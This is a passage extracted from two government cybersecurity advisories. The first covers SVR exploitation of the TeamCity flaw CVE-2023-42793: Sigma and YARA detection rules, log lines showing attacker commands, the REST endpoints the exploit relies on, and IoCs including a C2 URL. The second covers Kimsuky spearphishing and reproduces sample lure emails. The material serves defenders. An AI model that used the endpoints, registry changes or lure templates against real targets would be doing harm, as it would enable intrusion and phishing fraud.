'\\Microsoft\\Windows\\Windows Filtering Platform\\BfeOnServiceStart' +- '\\Microsoft\\Windows\\Data Integrity Scan\Data Integrity Update' +- '\\Microsoft\\Windows\\WindowsUpdate\\Scheduled AutoCheck' +- '\\Microsoft\\Windows\\ATPUpd' +- '\\Microsoft\\Windows\\Windows Defender\\Service Update' +- '\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Check' +- '\\Microsoft\\Windows\\WindowsUpdate\\Scheduled AutoCheck' +- '\\Defender' +- '\\defender' +condition: selection +title: Scheduled tasks names used by SVR for GraphicalProton backdoor +description: Hunts for known SVR-specific scheduled task names +author: +references: +date: 2023/11/15 +logsource: +category: process_creation +product: windows +detection: +selection: +Image|endswith: +- 'schtasks.exe' +CommandLine|contains: +- 'IISUpdateService' +- 'WindowsDefenderService' +- 'WindowsDefenderService2' +- 'DefenderService' +- 'DefenderUPDService' +- 'WiMSDFS' +- 'StartupAppTaskCkeck' +- 'SubmitReporting' +- 'Defender Update Service' +- 'WindowUpdate' +- 'CheckReporting' +- 'StartupAppTaskCheck' +- 'SpeechModelInstallTask' +- 'BfeOnServiceStart' +- 'Data Integrity Update' +- 'Scheduled AutoCheck' +- 'ATPUpd' +Page 19 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +- 'Service Update' +- 'Scheduled Check' +- 'Scheduled AutoCheck' +- 'Defender' +- 'defender' +selection_re: +Image|endswith: +- 'schtasks.exe' +CommandLine|re: +- '.*Defender\sUpdate\sService.*' +- '.*Data\sIntegrity\sUpdate.*' +- '.*Scheduled\sAutoCheck.*' +- '.*Service\sUpdate.*' +- '.*Scheduled\sCheck.*' +- '.*Scheduled\sAutoCheck.*' +condition: selection or selection_re +title: Suspicious registry modifications +description: Suspicious registry modifications +author: +references: +date: 2023/11/15 +logsource: +category: registry_set +product: windows +detection: +selection: +EventID: 4657 +TargetObject|contains: +- 'CurrentControlSet\\Control\\Lsa\\DisableRestrictedAdmin' +- 'CurrentControlSet\\Control\\Lsa\\NoLMHash' +condition: selection +title: Registry modification from cmd +description: Registry modification from cmd +author: +references: +date: 2023/11/15 +logsource: +category: process_creation +product: windows +detection: +selection: +Image|endswith: +- 'reg.exe' +CommandLine|contains|all: +- 'CurrentControlSet' +- 'Lsa' +Page 20 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +CommandLine|contains: +- 'DisableRestrictedAdmin' +- 'NoLMHash' +condition: selection +title: Malicious Driver Load +description: Detects the load of known malicious drivers via their names or hash. +references: +- https://github.com/wavestone-cdt/EDRSandblast#edr-drivers-and-processes-detection +author: +date: 2023/11/15 +logsource: +category: driver_load +product: windows +detection: +selection_name: +ImageLoaded|endswith: +- 'RTCore64.sys' +- 'DBUtils_2_3.sys' +selection_hash: +Hashes|contains: +- '01aa278b07b58dc46c84bd0b1b5c8e9ee4e62ea0bf7a695862444af32e87f1fd' +- '0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5' +condition: selection_name or selection_hash +YARA rules +The following rule detects most known GraphicalProton variants. +rule APT29_GraphicalProton { +strings: +// C1 E9 1B +ecx, 1Bh +// 48 8B 44 24 08 +rax, [rsp+30h+var_28] +// 8B 50 04 +edx, [rax+4] +// C1 E2 05 +edx, 5 +// 09 D1 +ecx, edx +// 48 8B 44 24 08 +rax, [rsp+30h+var_28] +$op_string_crypt = { c1 e? (1b | 18 | 10 | 13 | 19 | 10) 48 [4] 8b [2] c1 e? (05 | +08 | 10 | 0d | 07) 09 ?? 48 } +// 48 05 20 00 00 00 +// 48 89 C1 +// 48 8D 15 0A A6 0D 00 +// 41 B8 30 00 00 00 +// E8 69 B5 FE FF +// 48 8B 44 24 30 +// 48 05 40 00 00 00 +// 48 89 C1 +// 48 8D 15 1B A6 0D 00 +// 41 B8 70 01 00 00 +// E8 49 B5 FE FF +// 48 8B 44 24 30 +call +call +rax, 20h ; ' ' +rcx, rax +rdx, unk_14011E546 +r8d, 30h ; '0' +sub_14002F4B0 +rax, [rsp+88h+var_58] +rax, 40h ; '@' +rcx, rax +rdx, unk_14011E577 +r8d, 170h +sub_14002F4B0 +rax, [rsp+88h+var_58] +Page 21 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +// 48 05 60 00 00 00 +rax, 60h ; '`' +// 48 89 C1 +rcx, rax +// 48 8D 15 6C A7 0D 00 +rdx, unk_14011E6E8 +// 41 B8 2F 00 00 00 +r8d, 2Fh ; '/' +// E8 29 B5 FE FF +call +sub_14002F4B0 +// 48 8B 44 24 30 +rax, [rsp+88h+var_58] +// 48 05 80 00 00 00 +rax, 80h +// 48 89 C1 +rcx, rax +// 48 8D 15 7C A7 0D 00 +rdx, unk_14011E718 +// 41 B8 2F 00 00 00 +r8d, 2Fh ; '/' +// E8 09 B5 FE FF +call +sub_14002F4B0 +// 48 8B 44 24 30 +rax, [rsp+88h+var_58] +// 48 05 A0 00 00 00 +rax, 0A0h +$op_decrypt_config = { +48 05 20 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4] +48 05 40 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4] +48 05 60 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4] +48 05 80 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4] +48 05 A0 00 00 00 +condition: +all of them +Note: These rules are meant for threat hunting and have not been tested on a larger dataset. +MITIGATIONS +The FBI, CISA, NSA, SKW, CERT Polska, and NCSC assess the scope and indiscriminate targeting of +this campaign poses a threat to public safety and recommend organizations implement the mitigations +below to improve organization +s cybersecurity posture. These mitigations align with the Cross-Sector +Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards +and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and +NIST recommend all organizations implement. CISA and NIST based the CPGs on existing +cybersecurity frameworks and guidance to protect against the most common and impactful threats, +tactics, techniques, and procedures. Visit CISA +s Cross-Sector Cybersecurity Performance Goals for +more information on the CPGs, including additional recommended baseline protections. +Apply available patches for CVE-2023-42793 issued by JetBrains TeamCity in midSeptember 2023, if not already completed. +Monitor the network for evidence of encoded commands and execution of network scanning +tools. +Ensure host-based anti-virus/endpoint monitoring solutions are enabled and set to alert if +monitoring or reporting is disabled, or if communication is lost with a host agent for more than a +reasonable amount of time. +Require use of multi-factor authentication [CPG 1.3] for all services to the extent possible, +particularly for email, virtual private networks, and accounts that access critical systems. +Page 22 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +Organizations should adopt multi-factor authentication (MFA) as an additional layer of +security for all users with access to sensitive data. Enabling MFA significantly reduces the +risk of unauthorized access, even if passwords are compromised. +Keep all operating systems, software, and firmware up to date. Immediately configure +newly-added systems to the network, including those used for testing or development work, to +follow the organization +s security baseline and incorporate into enterprise monitoring tools. +Audit log files to identify attempts to access privileged certificates and creation of fake identity +providers. +Deploy software to identify suspicious behavior on systems. +Deploy endpoint protection systems with the ability to monitor for behavioral indicators of +compromise. +Use available public resources to identify credential abuse with cloud environments. +Configure authentication mechanisms to confirm certain user activities on systems, including +registering new devices. +VALIDATE SECURITY CONTROLS +In addition to applying mitigations, FBI, CISA, NSA, SKW, CERT Polska, and NCSC recommend +exercising, testing, and validating your organization's security program against the threat behaviors +mapped to the MITRE ATT&CK for Enterprise framework in this advisory. FBI, CISA, NSA, SKW, +CERT Polska, and NCSC recommend testing your existing security controls inventory to assess how +they perform against the ATT&CK techniques described in this advisory. +To get started: +Select an ATT&CK technique described in this advisory (see previous tables). +Align your security technologies against the technique. +Test your technologies against the technique. +Analyze your detection and prevention technologies + performance. +Repeat the process for all security technologies to obtain a set of comprehensive performance +data. +6. Tune your security program, including people, processes, and technologies, based on the +data generated by this process. +FBI, CISA, NSA, SKW, CERT Polska, and NCSC recommend continually testing your security +program, at scale, in a production environment to ensure optimal performance against the MITRE +ATT&CK techniques identified in this advisory. +REFERENCES +FBI, DHS, CISA, Joint Cyber Security Advisory, Russian Foreign Intelligence Service (SVR) +Cyber Operations: Trends and Best Practices for Network Defenders +NSA, CISA, FBI, Joint Cyber Security Advisory, Russian SVR Targets U.S. and Allied +Networks +CISA, Remediating Networks Affected by the Solarwinds and Active Directory/M365 +Compromise +Page 23 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +CISA, Alert (AA21-008A), Detecting Post-Compromise Threat Activity in Microsoft Cloud +Environments +CISA, Alert (AA20-352A), Advanced Persistent Threat Compromise of Government Agencies, +Critical Infrastructure, and Private Sector Organizations +CISA, CISA Insights, What Every Leader Needs to Know About the Ongoing APT Cyber +Activity +FBI, CISA, Joint Cybersecurity Advisory, Advanced Persistent Threat Actors Targeting U.S. +Think Tanks +CISA, Malicious Activity Targeting COVID-19 Research, Vaccine Development +NCSC, CSE, NSA, CISA, Advisory: APT 29 Targets COVID-19 Vaccine Development +The information in this report is being provided +as is + for informational purposes only. FBI, CISA, +NSA, SKW, CERT Polska, and NCSC do not endorse any commercial entity, product, company, or +service, including any entities, products, or services linked within this document. Any reference to +specific commercial entities, products, processes, or services by service mark, trademark, +manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring +by FBI, CISA, NSA, SKW, CERT Polska, and NCSC. +VERSION HISTORY +December 13, 2023: Initial version. +Page 24 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +APPENDIX A + INDICATORS OF COMPROMISE CVE-2023-42793 +On a Windows system, the log file C:\TeamCity\logs\teamcity-server.log will contain a log +message when an attacker modified the internal.properties file. There will also be a log message +for every process created via the /app/rest/debug/processes endpoint. In addition to showing the +command line used, the user ID of the user account whose authentication token was used during the +attack is also shown. For example: +[2023-09-26 11:53:46,970] +INFO - ntrollers.FileBrowseController - File +edited: C:\ProgramData\JetBrains\TeamCity\config\internal.properties by +user with id=1 +[2023-09-26 11:53:46,970] +INFO - s.buildServer.ACTIVITIES.AUDIT server_file_change: File +C:\ProgramData\JetBrains\TeamCity\config\internal.properties was modified +by "user with id=1" +[2023-09-26 11:53:58,227] +INFO - tbrains.buildServer.ACTIVITIES External process is launched by user user with id=1. Command line: cmd.exe +"/c whoami" +An attacker may attempt to cover their tracks by wiping this log file. It does not appear that TeamCity +logs individual HTTP requests, but if TeamCity is configured to sit behind a HTTP proxy, the HTTP +proxy may have suitable logs showing the following target endpoints being accessed: +/app/rest/users/id:1/tokens/RPC2 + This endpoint is required to exploit the vulnerability. +/app/rest/users + This endpoint is only required if the attacker wishes to create an arbitrary +user. +/app/rest/debug/processes + This endpoint is only required if the attacker wishes to create +an arbitrary process. +Note: The user ID value may be higher than 1. +Page 25 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +APPENDIX B + IOCS +File IoCs +GraphicalProton backdoor: +01B5F7094DE0B2C6F8E28AA9A2DED678C166D615530E595621E692A9C0240732 +34C8F155601A3948DDB0D60B582CFE87DE970D443CC0E05DF48B1A1AD2E42B5E +620D2BF14FE345EEF618FDD1DAC242B3A0BB65CCB75699FE00F7C671F2C1D869 +773F0102720AF2957859D6930CD09693824D87DB705B3303CEF9EE794375CE13 +7B666B978DBBE7C032CEF19A90993E8E4922B743EE839632BFA6D99314EA6C53 +8AFB71B7CE511B0BCE642F46D6FC5DD79FAD86A58223061B684313966EFEF9C7 +971F0CED6C42DD2B6E3EA3E6C54D0081CF9B06E79A38C2EDE3A2C5228C27A6DC +CB83E5CB264161C28DE76A44D0EDB450745E773D24BEC5869D85F69633E44DCF +CD3584D61C2724F927553770924149BB51811742A461146B15B34A26C92CAD43 +EBE231C90FAD02590FC56D5840ACC63B90312B0E2FEE7DA3C7606027ED92600E +F1B40E6E5A7CBC22F7A0BD34607B13E7E3493B8AAD7431C47F1366F0256E23EB +C7B01242D2E15C3DA0F45B8ADEC4E6913E534849CDE16A2A6C480045E03FBEE4 +4BF1915785D7C6E0987EB9C15857F7AC67DC365177A1707B14822131D43A6166 +GraphicalProton HTTPS backdoor: +18101518EAE3EEC6EBE453DE4C4C380160774D7C3ED5C79E1813013AC1BB0B93 +19F1EF66E449CF2A2B0283DBB756850CCA396114286E1485E35E6C672C9C3641 +1E74CF0223D57FD846E171F4A58790280D4593DF1F23132044076560A5455FF8 +219FB90D2E88A2197A9E08B0E7811E2E0BD23D59233287587CCC4642C2CF3D67 +92C7693E82A90D08249EDEAFBCA6533FED81B62E9E056DEC34C24756E0A130A6 +B53E27C79EED8531B1E05827ACE2362603FB9F77F53CEE2E34940D570217CBF7 +C37C109171F32456BBE57B8676CC533091E387E6BA733FBAA01175C43CFB6EBD +C40A8006A7B1F10B1B42FDD8D6D0F434BE503FB3400FB948AC9AB8DDFA5B78A0 +C832462C15C8041191F190F7A88D25089D57F78E97161C3003D68D0CC2C4BAA3 +F6194121E1540C3553273709127DFA1DAAB96B0ACFAB6E92548BFB4059913C69 +Backdoored vcperf: +D724728344FCF3812A0664A80270F7B4980B82342449A8C5A2FA510E10600443 +Backdoored Zabbix installation archive: +4EE70128C70D646C5C2A9A17AD05949CB1FBF1043E9D671998812B2DCE75CF0F +Backdoored Webroot AV installation archive: +950ADBAF66AB214DE837E6F1C00921C501746616A882EA8C42F1BAD5F9B6EFF4 +Modified rsockstun +CB83E5CB264161C28DE76A44D0EDB450745E773D24BEC5869D85F69633E44DCF +Network IoCs +Page 26 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +Tunnel Endpoints +65.20.97[.]203 +65.21.51[.]58 +Exploitation Server +103.76.128[.]34 +GraphicalProton HTTPS C2 URL: +hxxps://matclick[.]com/wp-query[.]php +Page 27 of 27 | Product ID: AA23-347A +TLP:CLEAR +Co-Authored by: +TLP:CLEAR +Product ID: CSA-20230601-1 +June 1, 2023 +North Korea Using Social Engineering to Enable +Hacking of Think Tanks, Academia, and Media +SUMMARY +The Federal Bureau of Investigation (FBI), the U.S. Department of State, and the National Security +Agency (NSA), together with the Republic of Korea +s National Intelligence Service (NIS), National +Police Agency (NPA), and Ministry of Foreign Affairs (MOFA), are jointly issuing this advisory to +highlight the use of social engineering by Democratic People +s Republic of Korea (DPRK a.k.a. North +Korea) state-sponsored cyber actors to enable computer network exploitation (CNE) globally against +individuals employed by research centers and think tanks, academic institutions, and news media +organizations. These North Korean cyber actors are known to conduct spearphishing campaigns +posing as real journalists, academics, or other individuals with credible links to North Korean policy +circles. The DPRK employs social engineering to collect intelligence on geopolitical events, foreign +policy strategies, and diplomatic efforts affecting its interests by gaining illicit access to the private +documents, research, and communications of their targets. +BACKGROUND +North Korea +s cyber program provides the regime with broad intelligence collection and espionage +capabilities. The Governments of the United States and the Republic of Korea (ROK a.k.a. South +Korea) have observed sustained information-gathering efforts originating from these North Korean +cyber actors. North Korea +s primary military intelligence organization, the Reconnaissance General +Bureau (RGB), which has been sanctioned by the United Nations Security Council, is primarily +responsible for this network of actors and activities. +We assess the primary goals of the DPRK regime +s cyber program include maintaining consistent +access to current intelligence about the United States, South Korea, and other countries of interest to +impede any political, military, or economic threat to the regime +s security and stability. +Currently, the U.S. and ROK Governments, and private sector cyber security companies, track a +specific set of DPRK cyber actors conducting these large-scale social engineering campaigns as +Disclaimer: This document is marked TLP:CLEAR. Disclosure is not limited. Sources may use TLP:CLEAR +when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and +procedures for public release. Subject to standard copyright rules, TLP:CLEAR information may be distributed +without restriction. For more information on the Traffic Light Protocol, see https://www.cisa.gov/tlp. +TLP:CLEAR +FBI | DOS | NSA| NIS | NPA | MOFA +TLP:CLEAR +Kimsuky, Thallium, APT43, Velvet Chollima, and Black Banshee. Kimsuky is administratively +subordinate to an element within North Korea +s RGB and has conducted broad cyber campaigns in +support of RGB objectives since at least 2012. Kimsuky actors + primary mission is to provide stolen +data and valuable geopolitical insight to the North Korean regime. +Some targeted entities may discount the threat posed by these social engineering campaigns, either +because they do not perceive their research and communications as sensitive in nature, or because +they are not aware of how these efforts fuel the regime +s broader cyber espionage efforts. However, +as outlined in this advisory, North Korea relies heavily on intelligence gained by compromising policy +analysts. Further, successful compromises enable Kimsuky actors to craft more credible and effective +spearphishing emails that can be leveraged against more sensitive, higher-value targets. The +authoring agencies believe that raising awareness of some of these campaigns and employing basic +cyber security practices may frustrate the effectiveness of Kimsuky spearphishing operations. This +advisory provides detailed information on how Kimsuky actors operate; red flags to consider as you +encounter common themes and campaigns; and general mitigation measures for entities worldwide to +implement to better protect against Kimsuky +s CNE operations. +If you believe you have been targeted in one of these spearphishing campaigns, whether or not +it resulted in a compromise (particularly if you are a member of one of the targeted sectors), +please file a report with www.ic3.gov and reference #KimsukyCSA in the incident description. +Please include as much detail as you can about the incident including the sender email address +and the text of the email message, specifying any links/URLs/domains. Please specify whether +you responded to the email, clicked on any links, or opened any attachments. Please retain the +original email and attachments in case you are contacted by an investigator for further +information. +Please visit www.ic3.gov and use #KimsukyCSA in your submission. +The U.S. Government also encourages victims to report suspicious activities, including any +suspected DPRK cyber activities, to local FBI field offices. +For the ROK government, you can report suspicious activities to the National Intelligence +Service (www.nis.go.kr, 111), the National Police Agency (ecrm.police.go.kr, 182), or the Korea +Internet & Security Agency (boho.or.kr, 118) +Page 2 of 21 | Product ID: CSA-20230601-1 +TLP:CLEAR +FBI | DOS | NSA| NIS | NPA | MOFA +TLP:CLEAR +KIMSUKY OPERATIONS: SOCIAL ENGINEERING +In a cybersecurity context, social engineering is a broad term referring to the use of deception to +exploit human error and manipulate a target into unwittingly exposing confidential or sensitive +information for fraudulent purposes. DPRK cyber actors employ social engineering techniques to +enable much of Pyongyang +s malicious CNE. Among social engineering techniques, Kimsuky actors +use spearphishing +or the use of fabricated emails and digital communications tailored to deceive a +target +as one of their primary vectors for initiating a compromise and gaining access into a target +devices and networks. For over a decade, Kimsuky actors have continued to refine their social +engineering techniques and made their spearphishing efforts increasingly difficult to discern. +A Kimsuky spearphishing +campaign begins with +broad research and +preparation. DPRK cyber +actors often use opensource information to +identify potential targets of +value and then tailor their +online personas to appear +more realistic and +appealing to their victims. +Input Settings + Set specific input. +Caution: Check input settings for errors. +Sender Name +Sender Address +Recipient Address +Subject +The Kimsuky actors will +Date and Time +create email addresses +Destination Link +that resemble email +Creator Name +addresses of real +individuals they seek to +Sample of a program for generating DPRK spearphishing emails. +impersonate and generate +domains that host the +malicious content of a spearphishing message. DPRK actors often use domains that resemble +common internet services and media sites to deceive a target. +For example, Kimsuky actors are known to impersonate well-known news outlets and +journalists using a domain such as +@XYZkoreas.news + spoofing a real news station while +actual emails from the news service appear as +@XYZnews.com. +DPRK cyber actors commonly take on the identities of real people to gain trust and establish +rapport in their digital communications. Kimsuky actors may have previously compromised the +email accounts of the person whom they are impersonating. This allows the actors to search +for targets while scanning through compromised emails, with a particular focus on workrelated files and personal information pertaining to retirees, social clubs, and contact lists. +They craft convincing spearphishing emails by repurposing the person +s email signature, +contact list, and past email exchanges. DPRK cyber actors are also known to compromise +Page 3 of 21 | Product ID: CSA-20230601-1 +TLP:CLEAR +FBI | DOS | NSA| NIS | NPA | MOFA +TLP:CLEAR +email accounts belonging to foreign policy experts and subsequently create a secondary email +account, using the email account and identity of the expert to communicate with other +significant targets. +In other cases, a Kimsuky actor will use multiple personas to engage a target; one persona to +conduct initial outreach and a second persona to follow-up on the first engagement to distract +a potential victim from discerning the identity of the original persona. Another tactic is to +resend + or +forward + an email from a source trusted by a target. +The initial phishing email occasionally contains a malicious link or document, often purporting +to be a report or news article. These attached malicious documents are frequently passwordprotected, which helps them evade detection by antivirus software and other security +measures. However, more often, the initial spearphishing email does not contain any +malicious links or attachments and is instead intended to gain the trust of the victim. +Once DPRK cyber actors establish engagement with a target, the actors attempt to +compromise the account, device, or network belonging to the target by pushing malicious +content in the form of a malicious macro embedded within a text document. This document is +either attached directly to the email, or stored in a file hosting service, such as Google Drive or +Microsoft OneDrive. These malicious macros, when enabled, quietly establish connections +with Kimsuky command and control infrastructure, and result in the provision of access to the +target +s device. +In some cases, Kimsuky actors have developed +spoofed + or fake but realistic versions of +actual websites, portals, or mobile applications, and directed targets to input credentials and +other information that are harvested by the DPRK. Compromise of a target account can lead +to persistent access to a victim +s communications, often through a malware used by Kimsuky +actors called BabyShark. Kimsuky actors have also been known to configure a victim +s email +account to quietly auto-forward all emails to another actor-controlled email. +Notably, victim responses to spearphishing lures also provide Pyongyang with the added benefit of +insight into foreign policy circles. This covert collection against the community of DPRK watchers is +probably of high value to the Kim regime and provides another channel of information on top of what it +gains through computer network operations. +Although all DPRK advanced persistent threat groups employ social engineering techniques, the +campaigns and themes described in this advisory are specific to Kimsuky. +Page 4 of 21 | Product ID: CSA-20230601-1 +TLP:CLEAR +FBI | DOS | NSA| NIS | NPA | MOFA +TLP:CLEAR +RED FLAG INDICATORS +Sector targets should be aware of the following activity that may be indications or behaviors of +malicious DPRK cyber actors. +Initial communications are often seemingly innocuous with no malicious links/attachments; +follow-on communications usually contain malicious links/documents to facilitate exploitation +of a computer or network. +Email content may include real text of messages recovered from previous victim engagement +with other legitimate contacts. +Emails in English may sometimes have awkward sentence structure and/or incorrect +grammar. +Email content may contain a distinct Korean dialect exclusively used in North Korea. +Victims/targets with both direct and indirect knowledge of policy information i.e., U.S. and ROK +government employees/officials working on North Korea, Asia, China, Southeast Asia matters; +U.S. and ROK government employees with high clearance levels; and members of the +military, are approached with common themes and questions as referenced in this advisory. +Email domains look like a legitimate news media site, but do not match the domain of the +company +s official website. The domains also may be identified as such in open-source +malware repositories like Virus Total. +Spoofed email accounts have subtle incorrect misspellings of the names and email addresses +of the legitimate ones listed in a university directory or an official website. +Malicious documents require the user to click +Enable Macros + to view the document. +Actors are persistent if the target does not respond to the initial spearphishing email. They will +likely send a follow-up email within 2-3 days of initial contact. +Emails purporting to be from official sources but sent using unofficial email services. +Page 5 of 21 | Product ID: CSA-20230601-1 +TLP:CLEAR +FBI | DOS | NSA| NIS | NPA | MOFA +TLP:CLEAR +CAMPAIGNS AND THEMES +Kimsuky cyber actors craft their spearphishing campaigns around themes characterizing the target, +message content, and the malicious mechanism, or lure, through which a compromise is initiated. +The main themes to beware of are impersonations and targeting of journalists, academic scholars, +and think tank researchers to: +solicit responses to foreign policy-related inquiries, +conduct a survey, +request an interview, +review a document, +request a resume, or +offer payment for authoring a research paper. +Kimsuky actors tailor their themes to their target +s interests and will update their content to reflect +current events discussed among the community of North Korea watchers. +The following are examples of real Kimsuky spearphishing attempts that illustrate variations of the +common themes. In some instances, the cyber actor poses as a journalist and targets a think tank +researcher, while at other times, the DPRK actor may take on the persona of an academic scholar to +target other scholars +virtually every combination of these themes and lures has been previously +observed. +1. Impersonation of journalists +Kimsuky actors often spoof real journalists and broadcast writers to craft a credible front and make +inquiries to prominent individuals working North Korea matters. Usually, the questions will revolve +around current events and whether U.S. experts believe North Korea will re-join talks with the U.S., +whether they believe North Korea will resume testing its missiles, and how they see China +responding. In many instances, Kimsuky actors do not attach malware to their initial email. Instead, +they first send an introductory email to inquire about interview opportunities. +Page 6 of 21 | Product ID: CSA-20230601-1 +TLP:CLEAR +TLP:CLEAR +FBI | DOS | NSA| NIS | NPA | MOFA +Sample email communication 1: +Title: +Greetings, +My name is , and I am a writer for . +I am writing to you today because I am currently preparing for a program related to North +Korean issues. Professor of , whom I +contacted earlier, recommended you as an expert on this issue. I would be grateful if you +could spare some time to answer a few questions. +Thank you for considering my request. I look forward to hearing from you soon. +Best regards, +Follow-on email: If the targets agree to the interview, the actors will then follow up with a second +email containing malicious content. +Title: RE: RE: +Dear , +As promised, I am sending you a questionnaire. It would be greatly appreciated if you could +answer each question in 4-5 sentences. Thank you for your cooperation. +Best regards, +@ attached file: [] questionnaire.docx +Additionally, we have seen Kimsuky actors spoof legitimate journalists to specifically target think tank +employees. Kimsuky actors commonly pose questions in their spearphishing emails about current +events, such as issues regarding Russia +s invasion of Ukraine; U.S.-DPRK relations; DPRK nuclear +and security topics; policymaker stances on the Asian region; and thoughts on current China-North +Korea and Russia-North Korea relations. +Page 7 of 21 | Product ID: CSA-20230601-1 +TLP:CLEAR +FBI | DOS | NSA| NIS | NPA | MOFA +TLP:CLEAR +Sample email communication 2: +Greetings, +I hope you've been well! This is with . +North Korea Fires Powerful Missile on 4 Oct using Old Playbook in a New Worlds. The last +time Pyongyang launched a weapon over Japan was in 2017, when Donald J. Trump was +president and Kim Jong-un seemed intent on escalating conflict with Washington. +I have some questions regarding this: +1) Would Pyongyang conduct its next nuclear test soon after China +s Communist Party +Congress in mid-October? +2) May a quieter approach to North Korean aggression be warranted? +3) Would Japan increase the defense budget and a more proactive defense policy? +I would be very grateful if you could send me your answers within 5 days. +Have a good weekend. +Sincerely, + +2. Impersonation of academic scholars +Kimsuky actors impersonate South Korean academic scholars to send spearphishing emails to +researchers at think tanks. In these emails, the targets are asked to participate in a survey, such as +on North Korean nuclear issues and denuclearization on the Korean Peninsula or requesting an email +interview. +Page 8 of 21 | Product ID: CSA-20230601-1 +TLP:CLEAR +TLP:CLEAR +FBI | DOS | NSA| NIS | NPA | MOFA +Sample email communication 3: +Title: Request for survey +Hello, +I am from . +I am reaching out to ask if you would be willing to participate in a survey on North Korea +nuclear development titled, +A survey on the perception on experts on the advancement of +North Korean nuclear weapons and the denuclearization of the Korean Peninsula +. Our goal +is to find ways to resolve North Korean nuclear issues and achieve denuclearization on the +Korean Peninsula. Rest assured that all answers will be kept confidential and used solely for +research purpose. As a token of appreciation, we would like to offer 300,000 won to those +who participate in the survey. If you +re interested in participating, please reply to this +message, and we will send you the survey questionnaire. Looking forward to hearing from +you soon. +Best regards, +Follow-on email: Once targets respond to inquiries, Kimsuky actors send them a survey +questionnaire and a document form for payment, which contains malicious content. +Title: RE: RE: Request for survey +Thank you for your response. +We will send you a document form for payment, which includes a personal information +usage agreement. If possible, please fill out your affiliation, name, ID number, bank account, +and signature, and attach copies of your bankbook and ID card. +Best regards, +P.S. The attached document is password-protected, and I will send you the password in a +password.txt file +@ attached file: PersonalInformationUsageAgreement +Page 9 of 21 | Product ID: CSA-20230601-1 +TLP:CLEAR +TLP:CLEAR +FBI | DOS | NSA| NIS | NPA | MOFA +Sample email communication 4: +Below is an example of Kimsuky actors pursuing responses to questions on sector targets by posing +as a university professor and research student. Once an initial response is received, actors will +request an email interview with a list of questions and request that targets access documents via a +malicious link to a cloud-hosted service. +To: +Subject: Re: Request for an interview +Dear , Sorry for my late response because of the Profs +busy time and thanks so much for replying me your kind answers. I did confer with +about it and modified a bit. Please find the link below +and let me know if you have the different opinions. +https: +PWD: +Best, +To: +Cc: +Dear , Thanks so much for your fast feedback. I did confer with + again and complete it as your request. Please find +the updated below. https: +PWD: +We're planning to upload it on our website within a week after final review. Please feel free +to contact with me if you have any questions. +Best, +3. Impersonation of think tank researchers +Kimsuky actors impersonate researchers from legitimate South Korean think tanks to send +spearphishing emails to political and North Korean experts. They initiate communication by sending +genuine emails to establish rapport and seek opinions on various topics, such as +North Korea +foreign policy and our response. +Page 10 of 21 | Product ID: CSA-20230601-1 +TLP:CLEAR +TLP:CLEAR +FBI | DOS | NSA| NIS | NPA | MOFA +Sample email communication 5: +Title: [Request for opinion] I +m +Greetings, +I am , deputy director of the . +I am reaching out to you to discuss an article I am currently working on. +The topic, +North Korea +s foreign policy and South Korea +s response + is somewhat distant +from my expertise, so I would greatly appreciate hearing the opinions of experts like you. +I would kindly request your comments on my writing, as I believe you are the most +appropriate person to provide valuable insights on the subject. Your earlier article caught my +attention, and I found myself nodding in agreement with each sentence. That is why I feel +confident in asking for your opinion. +I am eagerly awaiting your reply and appreciate your willingness to assist me. Thank you for +your time and consideration. +Best regards, +Follow-on email: After receiving replies from their targets, the Kimsuky actors exchange multiple +emails, which may include attachments containing malicious links or files and instructions on how to +open the attached files. Even after stealing the account information of their victims and infecting their +devices with malware, they sometimes continue to send +thank you + emails to their targets. +Title: RE: RE: [Request for opinion] I +m +Thank you for agreeing to provide your opinion. Please find the attached files. +We greatly appreciate your input. To ensure security in the face of increasing hacking +activity, we have set a password () for the attached file. +We look forward to hearing your valuable feedback. +Page 11 of 21 | Product ID: CSA-20230601-1 +TLP:CLEAR +TLP:CLEAR +FBI | DOS | NSA| NIS | NPA | MOFA +Sample email communication 6: +Below is an example of Kimsuky actors spoofing a think tank employee and utilizing a spoofed think +tank domain in order to target another think tank employee. Once the target responds with input, the +Kimsuky actor sends a follow-on email with a malicious attachment. +Dear , +Hope you are doing well. On behalf of , it is my pleasure to invite you +to write a 1,200-word piece on the recent NK's provocation. +North Korea +s latest missile launches, including the launch of an intermediate-range ballistic +missile (IRBM) over Japan on October 4 and two short-range ballistic missiles (SRBMs) on +October 6, provide a stark reminder of the numerous missile programs it is pursuing. +Subject is as follows: +1) Would Pyongyang conduct its next nuclear test soon after China +s Communist Party +Congress in mid-October? +2) May a quieter approach to North Korean aggression be warranted? +3) Would Japan increase the defense budget and a more proactive defense policy? +You can send me this email by Oct 21. You can make your own title for your article. We can +provide you with a small honorarium of around USD 480.00. +I would really appreciate it if you can contribute. +Best, + +Senior Fellow, +Director, +Follow-on email: The Kimsuky actor then sent a second communication with malicious content. +Dear , +Sorry for my late response. +As promised, I +m writing to send our result of the review. Please find the attached and let me +know if any problems. +PW: +Best, + +Senior Fellow, +Director, +Page 12 of 21 | Product ID: CSA-20230601-1 +TLP:CLEAR +TLP:CLEAR +FBI | DOS | NSA| NIS | NPA | MOFA +4. Impersonation of government officials, law enforcement, web administrators +Below is an example of how Kimsuky actors approach their targets by impersonating individuals +responsible for North Korean policies in government agencies, such as the South Korean National +Assembly or the presidential office. These impersonated 